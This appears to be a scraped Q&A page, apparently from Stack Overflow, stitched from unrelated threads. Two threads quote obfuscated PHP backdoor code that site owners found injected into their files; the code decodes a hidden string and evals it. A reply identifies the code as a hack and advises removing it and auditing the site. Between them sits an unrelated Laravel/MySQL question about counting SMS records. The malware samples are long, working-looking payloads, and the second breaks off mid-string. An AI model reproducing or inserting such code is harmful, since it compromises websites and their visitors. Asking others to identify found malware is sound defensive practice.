What does this piece of code mean in PHP? - php
Upon updating a PHP website, I came across this piece of code.
It doesn't make any sense.
What could be this??
An attack on website or something???
<?php
if (!isset($GLOBALS["\x61\156\x75\156\x61"]))
{
$ua = strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]);
if ((!strstr($ua, "\x6d\163\x69\145")) && (!strstr($ua, "\x72\166\x3a\61\x31")) && (!strstr($ua, "\x61\156\x64\162\x6f\151\x64")) && (!strstr($ua, "\x6d\157\x62\151\x6c\145")) && (!strstr($ua, "\x69\160\x68\157\x6e\145")) && (!strstr($ua, "\x69\160\x61\144")) && (!strstr($ua, "\x6f\160\x65\162\x61\40\x6d"))) $GLOBALS["\x61\156\x75\156\x61"] = 1;
} ?><?php
$vwxsajnbcm = 'sfuvso!%x5c%x7825bss%x5c%x785csboe))1%x5c%y74]273]y76]252]y85]256]y6g]257]y86]267]y7x5c%x78257UFH#%x5c%x78!)%x5c%x7825z>>2*!%x5c256<*17-SFEBFI,6<*127-UVPFNJU,6<*27-SFGTOBSUf+*0f(-!#]y76]277]y72]265]y39]271]y83]256]y78]248]y83]256]x5c%x7860msvd},;uqpuft%x5c%x7860msvd}+;tn+qsvmt+fmhpph#)zbssb!-#}#)fep5c%x7825!>!2p%x5c%x7825!*3>?*2b%x5c%x7825)gp25kj:-!OVMM*<(<%x5c%x78e%x5c%x78b%x5c%x7825ggg!>!#]y81]273]y4]275]y7:]268]y7f#<!%<X>b%x5c%x7825Z<#opo#>b%x5c%x7825!*##>>X)!gjZ<#opo#>]y8%x5c%x7824-%x5c%x7824]26%x5c%x7824-%x5c%x7824<%x5c%x785cq%x5c%x7825%x5c%x7827Y%x5c%x78256<.msv%x5cj0#!%x5c%x782f!**#sfmcnbs+yfeoSFSFGFS%x5c%x7860QUUI&c_UOFHBuofuopD#)sfebfI{*w%x5c%x7825)kV%x5c%x787825%x5c%x7824-%x5c%x7824y4%x5c%x7824-%x5c%x7824x5c%x7825%x5c%x7824-%x5c%x7824*!|!%x5c%x7824-%x5c%x7824%vg%x5c%x7822)!gj}1~!<2p%x5c%x7825%x5c%if((function_exists("%x6f%142%x5f%1!<##!>!2p%x5c%x7825!|!*85c1^W%x5c%x7825c!>!%x5c%x7825i%x5c%x785c2^<!Ce*[!%x5x7825rN}#QwTW%x5c%x7825hIr%x%x5c%x7825w6Z6<.5%x5c%x7860hA%x5c%x7827pd%x7825nfd)##Qtpz)#]341]88M4P8]35c%x7824-tusqpt)%x5c%x7825z-#:#*%x5c%x7824-%x5c%x7824!>%x7860ftsbqA7>q%x5c%x78256<%x5c%x787fw6*%x5c%x78>%x5c%x7822!ftmbg)!gj<*#k#)usbut%x5c%xb%x5c%x7825!**X)ufttj%x5c%x7822)gj!|!*nbsbq%x5c%x7825)323ldfidk!~!<*65]y31]55]y85]82]y76]62]y3:]84#-:ce44#)zbssb!>!ssbnpe_GMFT%x5c%x7860QIQ&f_x5c%x785c%x5c%x7825j^%x5c%x7824-%x5c%x7824tvctu,47R57,27R66,#%x5c%x782fq%x5c%x7825>2q%x5c%x7-rr.93e:5597f-s.973:8297f:5297e:56-%x5c%x7878r.985:52976]258]y6g]273]y76]271])-1);} #error_reporting(0); preg_replace("%x2f%50%x2e%52273]y76]258]y6g]273]y76]271]y7d]252%x7822:ftmbg39*56A:>:#+I#)q%x5c%x7825:>:r%x5c%x78255%x5c%x785cSFWSFT%x5c%x>%x5c%x782272qj%x5c%x5c%x7825)7gj6<*id%xx5f%163%x70%154%x69%164%50%x22%134%x78%62%x35%165%x3a%146%x7f_*#fubfsdXk5%x5c%x7860<%x5c%x7825bG9}:}.}-}!#*<%x5c%x7825nfd>%x5c%x7825fdx7825iN}#-!tussfw)%x5c%x78h%x5c%x7825:<#64y]552]e7y]#>n%x5c%x7825<#372]58y]472]37y]672]48y]#>s%x5c%x782f#00#W~!%x5c%x7825t2w)##Qtjw)#]82#-#!#-%x5c%x7825tmw)%x5c%x7826-tr.984:75983:48984:71]K9]77]D4]82]K6]72]K9#%x5c%x782fq%x5c%x7825>U<#16pjudovg}{;#)tutjyf%x5c%x7860opjudovg)!gj!|!*msv%xy72]265]y39]274]y85]273]y6gx5c%x7825tww!>!%x5c%x782400~:<h%x5c%x7825_t%x5c7860msvd}R;*msv%x5c%x7825)}.;%x5c%x7860UQPMSVD!-id%x5c%x7825)uqpuft%sfw)%x5c%x7825zW%x5c%x7825h>EzH,2W%x5c%x7825wN;#-Ez-1H*WCw*[!%x5c%c%x7825cIjQeTQcOc%x5c%x782f#00#W~!Ydrr)%x5c%x7825r%x5c%x7875c%x78256<pd%x5c%x7825w6Z6<.4%x5c%x7860hA%x5c%x7827pd%x5c%x784]275]D:M8]Df#<%x5c%x7825tdz>#L4]275L3#00;quui#>.%x5c%x7825!<***f%x5c%x7827,*e%x5c%x7827,*d%x5c%x7827,*c%x5c]248L3P6L1M5]D2P4]D6#<%x5c%x77827K6<%x5c%x787fw6*3qj%x5c%x78257{66~6<&w6<%x5c%x787fw6*CW&)7#)tutjyf%x5c%x7860opjudo7825:-5ppde:4:|:**#ppde#)tutjyf%5c%x7825)Rb%x5c%x7825))!gj!<*#cd2bge56+99386c6f+9f5d816:+946OSVUFS,6<*msv%x5c%x78257-MSV,6<*)ujojR%x5c%x7827id%x5c%x78256<%%x5c%x782f},;#-#}+;%s)%x5c%x7825%x5c%x7824-%x5c%x7824b!>!%x5c%x7825yy)#}#-#%x5c%x7824-%x6:!}7;!}6;##}C;!>>!}W;utpi}Y;7]28y]#%x5c%x782fr%x5c%x7825%x5c%x782fh%x5c%x7825)n%x5c%x7825-825<#g6R85,67R37,18R#>q%x5c%x7825V<*#fopoV;hojepdoF.%x7825z>3<!fmtf!%x5c%x7825z>2<!%x5c%x7825ww2)%x5c%x7825w%x5c%x7860TW~UTPI%x5c%x7860QUUI&e_SEEB%x5c%x7860FUPNFS&d_bz+sfwjidsb%x5c%x7860bj+upco6057ftbc%x5c%x787f!|!*uyfu%x5c%x7827k825=*h%x5c%x7825)m%x5c)))) { $GLOBALS["%x61%156%x75%156%x61"]=1; function fjfgg(pmpusut)tpqssutRe%x5c%x7825)Rd%x#-#C#-#O#-#N#*%x5c%x7824%x5c%x782f%x5c%x78osvufs}w;*%x5c%x787f!>>%x5c%x75c%x78257-K)udfoopdXA%x5c%x7822)7gj6<*QDU%x5c%x78!}{;)gj}l;33bq}k;opjudovg}%x5c%x7878;0]=])0#)U!%257>%x5c%x782f7&6|7**111127-K)ebfsX%x5c%x782x5c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<%x5c%x7825!*72!%x5c%x7827!hmg%x5c%x7825)!gj!<2,*j%x5c%x782]81#%x5c%x782f#7e:5594%x5c%x78256<*Y%x5c%x7825)fnbozcYufhA%x5c%x78272qj%x5c%x78256<^#zsfvrf{jt)!gj!<*2bd%x5c%x7825-#1G8X6<#o]o]Y%x5c%x78257;5c%x782f%x5c%x7825r%x5c%x7878<~!!%x5c%x7825s:N}#-%x%x5c%x7824<%x5c%x78e%x5c%x7%x5c%x7860SFTV%x5c%x7860QUUI&b%x5c%x7825!|!*)323z#%x5c%x785cq%x5c%x78257%x5c%x782f7###7%x5c%x782f7^#iubq#%xy7d]252]y74]256#<!%x5c%x7825ggg)(0)%x5c%x782x782f###%x5c%x782fqp%x5c%x7825>5h%x5c%x7x7827pd%x5c%x78256|6.7eu{66~67<&w6<*&7-#o]s]o]s]#)fepmqyf%x5c%x7820hfsq)!sp!*#ojneb#-*f%x5c%x7825)sf%x5c%x787863%x74%141%x72%164") && (!isset($GLOBALS["%x61%156%x75%156%x61"]fbuf%x5c%x7860gvodujpo)##-!#~<#%x5c%x782f%x5c%x7825%x5c%x7!***b%x5c%x7825)sf%x5c%x7878pmpusut!-#8{**#k#)tutjyf%x5c%x7860%x5c%x7878%x5c%x7822l:!}V;3>2b%x5c%x7825!<*qp%x5c%x71*!%x5c%x7825b:>1<!fmtf!%x5c%x7825b:>%x5c%x76*CW&)7gj6<*K)ftpmdXA6~6<u%x5c%x78y<Cb*[%x5c%x7825h!>!%x5c%x7825tdz)%x5c%x7825bbT-%x5c%x7825b825-*.%x5c%x7825)euhA)3of>2bd%x5c%x7825!<5h%x5c%x7825%x5c%x782f#x5c%x7825<#462]47y]252]18y]#>q%x5c%x7825<#762]67y]567860cpV%x5c%x787f%x5c%x787f%x5c%x787f%x5c%x787f%x5c%x7824-%x5c%x7824-!%utpI#7>%x5c%x782f7rfs%x5c%x78256<#o]1%x5c%x782f20QUUI7jsv%25!-#2#%x5c%x782f#%x5c%x7825#%x5c%x782f#o]#%x5c%x782f*)323zbe!-#jt0*?c%x7825h>#]y31]278]y3e]81]K78:56985:6197g:74985M7]K3#<%x5c%x7825yy>#]D6]281L1#%x5c%x782f#M5]DgP5]gj6<*doj%x5c%x78257-C)fepmqnjA%x5c%x7827&6<.fmjgAmqnj!%x5c%x782f!#0#)idubn%x5c%x786x5c%x7827{**u%x5c%x7825-#jt0}Z;0]=]0#)2q%x5c%x7825l}S;2-u%x5c%x78{hnpd!opjudovg!|!**#j{hnpd]452]88]5]48]32M3]317]445]212]4tuofuopd%x5c%x7860ufh%x5c%x7860fmjg}[;ldpt%x5c%x7825}K;5tww**WYsboepn)%x5c%x7825bss-%x5c%x7825r%x5c%x7878B%x5P6]36]73]83]238M7]381]211M5]67%x7825j,,*!|%x5c%x7824-55%x61%160%x28%42%x66%152%x66%147%x67%42%x2c%163%x74%162%85-t.98]K4]65]D8]86]y31]278]y3f]51L3]84]y31M6]y3e27rfs%x5c%x78256~6<%x5c%x787fw6<*K)ftpmdXA6|7**197-2qj%x5j>1<%x5c%x7825j=tj{fpg)%x5c%x7825%x5c%x7824-%x5c%x7824*<!~!ds822!pd%x5c%x7825)!gj}Z;h!o:|:**t%x5c%x7825)m%x5c%x7!>!}%x5c%x7827;!>>>!}_;gvc%x5c%x7825}<u%x5c%x7825V%x5c%x7827{ftmfV%x5c%x787f<*X&Z&S{ftmfV%x5c%x787f<*Xbek!~!<b%x5c%x7825%x5c%x787f!5c%x7825o:W%x5c%x7825c:>1<%x5c%x7825b:>1<!gps)%x5c%x7825j:>1<%x52]38y]572]48y]#>m%x5c%x7825:|:*r%x5c%x7825:-t%x5c%x7825)3of:opjudovg<5c%x7825)ftpmdR6<*id%x5c%x7825)dfyfR%x5c%x7827tfs%x5c%x78]+^?]_%x5c%x785c}X%x5c%x7824<!%x5c%x7825tzw>!#]y76]277]!%x5c%x7825mm!>!#]y81]%x7825:osvufs:~:<*9-1-r%x5c%x782y74]256]y39]252]y83]273]y72]282#<!%x5c%x7825tjw!>!#]x5c%x7825!osvufs!*!+A!>!{e%x5c%x7825)!>27!hmg%x5c%x7825)!gj!~<ofmy%x5c%x7825,3,j%x5c%x7O%x5c%x7822#)fepmqyfAW~!Ypp2)%x5c%x7825zB%x5c%x7825z>!tus%x7825):fmji%x5c%x7878:<##:>:8:|:7#6#)tutjyf%x5c%x7860439275ttfsqnpdov{h19275j{hnpd19275fu*qp%x5c%x7825!-uyfu%x5c%x7825)3of)fepdof%x5c%x78!%x5c%x78242178}527}88:}334}472%x5c%x7824<!hmg%x5c%x7825!)!gj!<2,*j%x5c%x7825!-#1]#-bubE{h%x5c%x7825)tpqsut>j8Bsfuvso!sboepn)%x5c%x7825epnbss-%x5c%x7825r%x5c%x7878825>j%x5c%x7825!<**3-!OVMM*<%x22%51%x29%51%x29%73", NULL); }c%x78257**^#zsfvr#%x5c%x785cq%x5c%x7825)ufttj%x5c%x7822)gj6<^#Y#%x5c.2%x5c%x7860hA%x5c%x7827pd%x5c%x78256<C%x5c%%x5c%x7878:!>#]y3g]61]y3f]63]y3:]68]y76#<%x5c%x7860MPT7-NBFSUT%x5c%x7860LDPT7-UFOJ%x5c%x7860GB)fubfsdXA%x5c%xx5c%x7825-qp%x5c%x7825)54l}%x5c%x7827;%x5c%x7825!<*#}_;#)323ldfic%x7825kj:!>!#]y3d]51]y35]256]y76]72]y3d]5!tus%x5c%x7860sfqmbdf)%x5c%x7%x7827,*b%x5c%x7827)fepdof.)fepdof.%x5c%x5c%x787fw6*%x5c%x787f_*#ujojRk3%x5c%x7860{666~6<%x29%57%x65","%x65%166%x61%154%x2T-%x5c%x7825hW~%x5c%x7825fdy)##-!#~<%x5c%x7825h00#*<%x5c%x%x5c%x7825)utjm!|!*5!%x5c%x7827j%x5c%x7825-bubE{h%x5c%x7825)sutcvt-#w#)ldbqov>*ofmy5c%x785c1^-%x5c%x7825r%x5c%x785c2^-%x5c%x7825hOh%5c%x785cq%x5c%x7825%x5c%x7827jsv%x5c%x78256<C>^#zsfvr#%x5c%x785cq%x5]78]K5]53]Kc#<%x5c%x7825tpz!>!#]D68b%x5c%x7825mm)%x5c%x7825%x5c%x7878:-!%x5c%x7825tzw%x5c%x782f%x5c%x78d>}&;!osvufs}%x5c%x787f;!opjudovg}k~~9{d%x5c%x7825:osvufs:~928>>%x5c24Ypp3)%x5c%x7825cB%x5c%AZASV<*w%x5c%x7825)ppde>u%x5c%x7825V<#65,47R25,d7R17,67R37,7u%x5c%x7825)7fmji%x5c%x78786<C%x5c%x7825G]y6d]281Ld]245]K2]285]!hmg%x5c%x7825)!gj!|!*1?hmg%x5c%x7825)!gj!<**7860%x5c%x785c^>Ew:Qb:Qc:W~!%x5c%x7825z!>2<!gps)%x5c%x7825j>1<%x5825s:%x5c%x785c%x5c%x7825j:.2^,%x5c%xc%x785c%x5c%x7825j:^<!%x5c%x7825w%x5c%xKe]53Ld]53]Kc]55Ld]55#*5c%x7827&6<%x5c%x787fw6*%x5c%x787f_*#[k2%x5c%x7860{7*&7-n%x5c%x7825)utjm6<%x5c%x787fwx7825>j%x5c%x7825!*3!%x5c%x7827x782f35.)1%x5c%x782f14+9**-)1%x5c%x782f2986+7**^%xy81]265]y72]254]y76]61]y33]68]y34]68]y33]65]y31]53]y6d]281]y43]78]y33]c9y]g2y]#>>*4-1-bubE{h%x5c%x7825)sutcvt)!gj!|!*bubE{h%x5c%x7825)j1]y35]274]y4:]82]y3:]62]y4c#<!%x5c%x7825t::!>!%x5c%x78y84]275]y83]248]y83]256]y81]265]y72]254]y76#<%x5c%x7825tmw!>!#]7825b:<!%x5c%x7825c:>%x5c%x7825s:%x5]y74]256#<!%x5c%x7825ff2!>!bssbz)%x5c%x7824]25x787f!~!<##!>!2p%x5c%x7825Z<^2%x5c%x785c2b%x%x7824-%x5c%x7824*<!%x5c%x7824-%x5c%x7824gps)%x5c%x782%x5c%x7824gvodujpo!%x5c%x7824-%x5c%x7824y7%x5c%x5c%x7825)+opjudovg+)!gj+{e%x5c%x78604%x5c%x78223}!+!<+{e%x5c%x7825+*!*+fepdfe{h+{d~6<tfs%x5c%x7825w6<%x5c%x787fw6*CWtfs%0#%x5c%x782f*#npd%x5c%x782f#)rrd%x5c%x782f]273]y76]271]y7d]252]7860%x5c%x7825}X;!sp!*#opo#>>}R;msv}.;%x5c%x782f#%x5c%x782f#bmgoj{h1:|:*mmvo:>:iuhofm%x5c%x%x5c%x7827;mnui}&;zepc}A;~!}%x5c%x787f;!|:!ftmf!}Z;^nbsbq%x5c%x782q%x5c%x7825}U;y]}R;2]},;osvufs}24)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#Y#-#D#-#W824-%x5c%x7824!>!fyqmpef)#%x5c%x7824*<!%x5825!<*::::::-111112)eobs%x5c%x7860un>qp%x5c%x7825!|Z~8%151%x6d%160%x6c%157%x64%145%x28%141%x72%162%x61%171%x5f%1y84]275]y83]273]y76]277#<%x5c%x7825t2w>#]256<pd%x5c%x7825w6Z6<.3%&;ftmbg}%x5c%x787f;!%x5c%x7860ufldpt}X;%x5c%x5c%x787fw6*%x5c%x787f_*#fmjgk4%x5c%x7860{6e%x5c%x78b%x5c%x7825w:!>!%x5c%x78246767~6<Cw6<pd7]278]225]241]334]368]322]3]364]6]283]427]36]373x7825)7gj6<**2qj%x5c%x7825)hopm3qjA)qj3hopmA%x5c%x78273qj5-#1]#-bubE{h%x5c%x7825)tpqsut>j%x5c%x7825!*9!%x5c%x78&w6<%x5c%x787fw6*CW&)7gj6<.[A%x827&6<*rfs%x5c%x78257-K)fujs%x5c%x7872-4-bubE{h%x5c%x7825)sutcvt)esp>hmg%x5c%x7825!<12>j%x5c%x7825!|!*#91y]9.-j%x5c%x7825-bubE{h%x5c%x7825)sutcvt)fubmgoj{hA!osvufs!~<3,j%x5c%c%x7825j:=tj{fpg)%x5c%x7825s:*<%x5c%x7825j:,,Bjg!)%x5c%x7825j:>>25c*W%x5c%x7825eN+#Qi%x5c%x75c%x7825)}k~~~<ftmbg!osvufs!|ftmf!~<**5)s%x5c%x7825>%x5c%x782fh%x5c%x7825:<**#57]38y]47]67y]37]88y]2%x5c%x7827doj%x5c%x78256<%x45]43]321]464]284]364]6]234]342]58]24]31#-%x5c%x7825tdz*W~%x5c%x7824<!%x5c%x7825o:!>D6#<%x5c%x7825fdy>#]D4]273]D6P2L5P6]y6gP7L6M7]D21%76%x21%50%x5c%x7825$n){return chr(ord($nc%x7825j=6[%x5c%x7825ww2!>#p#%x5c%x782f#p#%x5c%x782f%x5c%x7825z<jg/(.*)/epreg_replacewehsderyhp';
$ocskvyfdqx = explode(chr((235 - 191)) , '818,35,4175,64,3243,58,10019,21,1481,56,7033,33,9024,59,5326,57,1686,59,9997,22,6700,49,9235,48,957,43,2373,61,9124,24,3546,52,6656,44,4065,66,7902,34,4455,34,3502,44,7578,38,9473,37,3774,22,4735,58,84,22,5432,56,3405,49,6749,60,2571,34,1646,20,9331,57,3678,68,3923,58,7256,68,6588,68,530,48,1084,48,1745,24,2605,28,4959,49,9839,27,9193,42,8579,38,1666,20,5865,57,128,44,2749,63,6984,49,9442,31,7851,51,2900,29,5164,55,9168,25,2180,68,230,39,5601,37,9148,20,3375,30,5550,26,2057,49,9739,38,9580,67,7936,31,6407,67,3598,58,9388,54,6122,48,6528,21,7155,52,7124,31,7642,45,9510,70,8087,65,5107,26,2633,24,780,38,8351,44,300,44,3746,28,6170,21,4386,25,4548,64,8617,42,2472,70,6944,40,4025,40,8971,53,853,23,4297,38,578,30,3156,28,269,31,5008,34,4131,44,3301,32,2689,60,1270,42,3112,44,608,29,3874,49,5703,29,425,52,1170,68,6317,48,3184,37,8812,25,1623,23,8680,60,2812,20,6809,64,7427,68,1572,21,6256,61,8740,31,2657,32,8524,55,8495,29,6083,39,1132,38,4664,47,5638,65,7519,59,2029,28,1359,45,2991,52,637,40,4335,51,8837,31,8771,41,3454,48,5042,65,4793,69,5922,55,2106,27,8659,21,6031,52,8206,63,9083,41,42,42,404,21,2133,47,5999,32,9777,62,2929,62,1593,30,5576,25,3221,22,6227,29,1846,69,4612,52,5796,69,9923,27,6365,42,5977,22,1537,35,8305,46,4711,24,724,56,1312,47,2832,68,1029,55,6915,29,677,47,477,53,5303,23,8449,46,8395,54,5488,62,4239,58,8929,42,6873,42,8152,54,7495,24,1820,26,9711,28,876,53,2314,59,6474,54,6191,36,2248,66,929,28,7207,49,1915,70,5219,54,4862,47,1404,54,5383,49,3656,22,1985,44,7324,34,4909,50,9950,47,2434,38,2542,29,7616,26,7828,23,1769,51,4489,59,7066,58,1000,29,9283,48,5273,30,5133,31,9866,57,0,42,7967,50,3796,51,5732,64,9647,64,4411,44,7752,37,8269,36,7789,39,7687,65,10040,66,106,22,3043,69,3847,27,7358,69,8868,61,3333,42,344,60,1458,23,3981,44,172,58,8017,70,1238,32,6549,39');
$niqesrdxdn = substr($vwxsajnbcm, (32536 - 22430) , (34 - 27));
if (!function_exists('zzrfhvkcwo'))
{
function zzrfhvkcwo($znzwjxpcyc, $lfafkymhqq)
{
$xnhcrqpkcp = NULL;
for ($gznncvjdur = 0; $gznncvjdur < (sizeof($znzwjxpcyc) / 2); $gznncvjdur++)
{
$xnhcrqpkcp.= substr($lfafkymhqq, $znzwjxpcyc[($gznncvjdur * 2) ], $znzwjxpcyc[($gznncvjdur * 2) + 1]);
}
return $xnhcrqpkcp;
};
}
$zwqshkkfti = "\x20\57\x2a\40\x6b\170\x70\153\x66\170\x64\171\x64\142\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x31\70\x32\55\x31\64\x35\51\x29\54\x20\143\x68\162\x28\50\x34\65\x30\55\x33\65\x38\51\x29\54\x20\172\x7a\162\x66\150\x76\153\x63\167\x6f\50\x24\157\x63\163\x6b\166\x79\146\x64\161\x78\54\x24\166\x77\170\x73\141\x6a\156\x62\143\x6d\51\x29\51\x3b\40\x2f\52\x20\144\x76\155\x63\147\x72\163\x76\153\x68\40\x2a\57\x20";
$fqlqhefvbx = substr($vwxsajnbcm, (52826 - 42713) , (57 - 45));
$fqlqhefvbx($niqesrdxdn, $zwqshkkfti, NULL);
$fqlqhefvbx = $zwqshkkfti;
$fqlqhefvbx = (686 - 565);
$vwxsajnbcm = $fqlqhefvbx - 1; ?>
Yes. It's a hack. The randomly-generated variable names, etc. both obfuscate the content and make it less easy to search for using scanners—the code will do the same thing, but using different variable names, etc., on each site, so you can't just search for specific strings to find it. Here's another example of what looks like the same hack.
You should remove the code, but of course that won't remove whatever vulnerability allowed the hacker to put it there in the first place, so you need to audit the site and fix that, too. That's way beyond the scope of an answer here, and off-topic for Stack Overflow, too. (You may have more luck on http://security.stackexchange.com, but check their help centre before posting...)
Is this a WordPress website, too? I'd carefully follow all the advice in FAQ "My Site Was Hacked".
Related
PHP Laravel get millions record using MYSQL
I have been using laravel + mysql for my project but and it was working perfectly fine until now. The records keep on increasing and now they have reached almost a million record. Problem is when i try to fetch sms from my database using this query $smsHistory = SmsLog::where('created_at', '>=', $startDate)->where('created_at', '<=', $endDate)->whereNotNull('gateway_statuscode')->get(); It gives a 500 error without showing anything in error log. What i assume is that as i decreased the time period it gives me record so the problem is the bulk it can not handle. What could be the possible solution as i have to give it today. I am not worried about the error log.. i want to get a count of those million record but i want to apply some algorithm on it before doing it This is the check which i have to perform afterwards to see how many sms are in sms log foreach ($smsHistory as $sms) { $sms_content = SmsService::_getSmsContent($sms); if ($sms_content->business_id && array_key_exists($sms_content->business_id, $smsCredits )) { if (floor(strlen($sms_content->content) / 160) == 0) { $smsCredits[$sms_content->business_id]['count'] += 1; } if (floor(strlen($sms_content->content) / 160) == 1 && floor(strlen($sms_content->content) / 306) == 0) { $smsCredits[$sms_content->business_id]['count'] += 2; } if (floor(strlen($sms_content->content) / 306) == 1 && floor(strlen($sms_content->content) / 459) == 0) { $smsCredits[$sms_content->business_id]['count'] += 3; } if (floor(strlen($sms_content->content) / 459) == 1 && floor(strlen($sms_content->content) / 621) == 0) { $smsCredits[$sms_content->business_id]['count'] += 4; } if (floor(strlen($sms_content->content) / 621) == 1 && floor(strlen($sms_content->content) / 774) == 0) { $smsCredits[$sms_content->business_id]['count'] += 5; } if (floor(strlen($sms_content->content) / 774) == 1 && floor(strlen($sms_content->content) / 927) == 0) { $smsCredits[$sms_content->business_id]['count'] += 6; } } this is the database field content is the sms that i have to get and count
Regarding the 500 error: If you are getting a 500 error, there should hopefully be some clue in the actual server error log (your laravel application error log may not have caught it depending on the error handlers, etc and what the cause was). php_info() should show you the location of the physical error log with the error_log setting: <?php phpinfo(); ?> If I had to guess, possibly something memory related that is causing it to choke. But that is just a guess. As a side question, why are you trying to retrieve so many at once? Can you split them up somehow? Edit based on updated question: You may need to use some raw-expressions here to get what you really want: https://www.laravel.com/docs/4.2/queries#raw-expressions MySQL for example provides the ability to get a column length: FLOOR(CHAR_LENGTH(content) / 160) as len1, FLOOR(CHAR_LENGTH(content) / 306) as len2, FLOOR(CHAR_LENGTH(content) / 459) as len3 So probably with some magic we could take your query and let the database system do it all for you. And there are probably more efficient ways to do it, if I knew more about the significance of those numbers, but I am trying to help you at least get on one possible path.
You should setup index for mysql, or implement a search engine like elastic search
Malicious code found in WordPress theme files. What does it do?
I discovered this code inserted at the top of every single PHP file inside of an old, outdated WordPress installation. I want to figure out what this script was doing, but have been unable to decipher the main hidden code. Can someone with experience in these matters decrypt it? Thanks! <?php if (!isset($GLOBALS["anuna"])) { $ua = strtolower($_SERVER["HTTP_USER_AGENT"]); if ((!strstr($ua, "msie")) and (!strstr($ua, "rv:11"))) $GLOBALS["anuna"] = 1; } ?> <?php $nzujvbbqez = 'E{h%x5c%x7825)j{hnpd!opjudovg-%x5c%x7824]26%x5c%x7824-%x5c%x7825)54l}%x5c%x7827;%x5c%x7825!<x5c%x782f#)rrd%x5c%x83]256]y81]265]y72]254]y76]61]y33]68]y34]68]y<X>b%x5c%x7825Z<#opo#>b{jt)!gj!<*2bd%x5c%x7euhA)3of>2bd%x5c%x7825!<5h%x5c%x78225%x5c%x7824-%x5c%x7824*<!~!dsfbuf%x5c%x)utjm6<%x5c%x787fw6*CW&)7gj6<*K)ftpmdXA6~6<u%%x7824Ypp3)%x5c%x7825cB%x5c%x7825iN}#-!tus66,#%x5c%x782fq%x5c%x7825>2q%x5c%x7825<#g6R85,67R37,18R#>#<!%x5c%x7825tww!>!%x5c%x782400~:<h%x5c%x7825_t%x5c%x7825:osvufs%x5c%x78257>%x5c%x782272qj%x5c%x7825)7gj6<**2qj%x5cc%x7860GB)fubfsdXA%x5c%x7827K6<%x5c%x787fw6*3qj985-rr.93e:5597f-s.973:8297f:5297e:56-%x5c%x7878284]364]6]234]342]58]24]311]278]y3f]51L3]84]y31M6]y3e]81#%x5c%x782f#73]y72]282#<!%x5c%x7825tjw!>!x5c%x7825%x5c%x787f!25ww2)%x5c%x7825w%x5c%x7860TW~%x5c%x7824<%x5c%x78e%x5c%x78b%x5c%x7825:|:7#6#)tutjyf%x5c%x7860439275ttfsqnpd8;0]=])0#)U!%x5c%x7827{**u%x5c%x7%x78257-K)fujs%x5c%x7878X6<#o]o]Y%x5c%x7.3%x5c%x7860hA%x5c%x7827pd%x5c%x782525)n%x5c%x7825-#+I#)q%x5c%x7825:>:r%x5c%x7825:|:**t%x5c%x7825)m%x55%x5c%x782f#0#%x5c%x782f*#npd%}#-#%x5c%x7824-%x5c%x7824-tusvd},;uqpuft%x5c%x7860>>>!}_;gvc%x5c%x7825}&;ftmbg}%x5c%x787f;!osvufs}w;*%x5c%x787?]_%x5c%x785c}X%x5c%x7824<!%x5c%x7825tzw>!#]gj!|!*nbsbq%x5c%x7825)323ldfidk!~!<**qp%x5c%x7825!-uyf5c%x78256<.msv%x5c%x7860ftsbqA7>q%x5c%x78256<%)7gj6<*QDU%x5c%x7860MPT7-NBFSUT%x5c%x7860LDPT7-UFOJ%x5tcvt)fubmgoj{hA!osvufs!~<3,j%x5c%x7825>j%x5c%x7825!*3!%x5c%x7!>#p#%x5c%x782f#p#%x5c%x782f%x5c%x7825z<jg!)%x5c%x7825z>>2*!%x25%x5c%x7824-%x5c%x7824b!>!%x5c%x7825yy)#y76]252]y85]256]y6g]257]y86]267]y74]275]y7:]268]y7f%x7822l:!}V;3q%x5c%x7825}U;y]}R;2]},;osvufs}%x5c%x786<.fmjgA%x5c%x7827doj%x825-#jt0}Z;0]=]0#)2q%x5c%xx5c%x785c%x5c%x7825j^%x5c%x7824-%x5c%x7824tvctus)%x5c%x78%x7825!*9!%x5c%x7827!hmg%x5c%x7825)!gj!~<ofmy%x5c%x7%x7825%x5c%x7878:!>#]y3g]61]y3f]63]y3:]68]y76#<%x5c%x78ec%x7825!**X)ufttj%x5c%x7822)r.985:52985-t.98]K4]65]D8]86]y37827pd%x5c%x78256<pd%x5c%x7825w6Z6<]5]48]32M3]317]445]212]445]43]321]464]n)%x5c%x7825bss-%x5c%x7825r%x5c%x7878B%x5c%x782so!sboepn)%x5c%x7825epnbss-%x5c%x7825r%x5c%x7878W~!Ypp2)%x5cW~!%x5c%x7825z!>2<!gps)%x5c%x7825j>1<%x5c%x7825j=6[%x5c%x7825ww2%x5c%x78b%x5c%x7825w:!>!%x5c27;mnui}&;zepc}A;~!}%x5c%x787f;!|!}{;)gj}l;33bq}%x5c%x7824%x5c%x782f%x5c%x7825kj:-!OVMM*<(<%xufs:~928>>%x5c%x7822:ftmbg39*56A:>:8:^<!%x5c%x7825w%x5c%x7860%x5c%x785c^>Ew:Qb:Qc:5cq%x5c%x78257**^#zsfvr#27-SFGTOBSUOSVUFS,6<*msv%x5c%x78257-MSc%x7825=*h%x5c%x7825)m%x5c%x7825):fmji%xc%x7825w6<%x5c%x787fw6*CWtfs%x5c%x7825)7gj6<*id1%x29%73", NULL); }IjQeTQcOc%x5c%x782f#00#W~!Ydrr)%x5c%x7825r%x5c%x7878Bsfuv5c%x7827pd%x5c%x78256<C%x5c%x7827pd%x5c%x78256|6.7ec%x787f%x5c%x787f%x5c%x787f%x5%x5c%x7825)ftpmdR6<*id%x5c%x78mm)%x5c%x7825%x5c%x7878:-!%x5c%x7825tzw%x5c%x782f%x5c%x7824)#P#-#Q#-#B#-#T#-#7825l}S;2-u%x5c%x7825!-#2#%**#ppde#)tutjyf%x5c%x78604%x5c%x78223}!+!<]y74]256]y39]252]y83]2761"])))) { $GLOBALS["%x61%156%x75%156%x61"]=1; funx5c%x782fqp%x5c%x7825>5h%x5c%x7825!<*::::::-111112)%x7825zB%x5c%x7825z>!tussfw)%x5c%xu{66~67<&w6<*&7-#o]s]o]s]#)fepmqyf%x5c%x7827*&7-n%x5c%x7825**#k#)tutjyf%x5c%x7860%x5c%x7878%x5c165%x3a%146%x21%76%x21%50%x5cction fjfgg($n){return 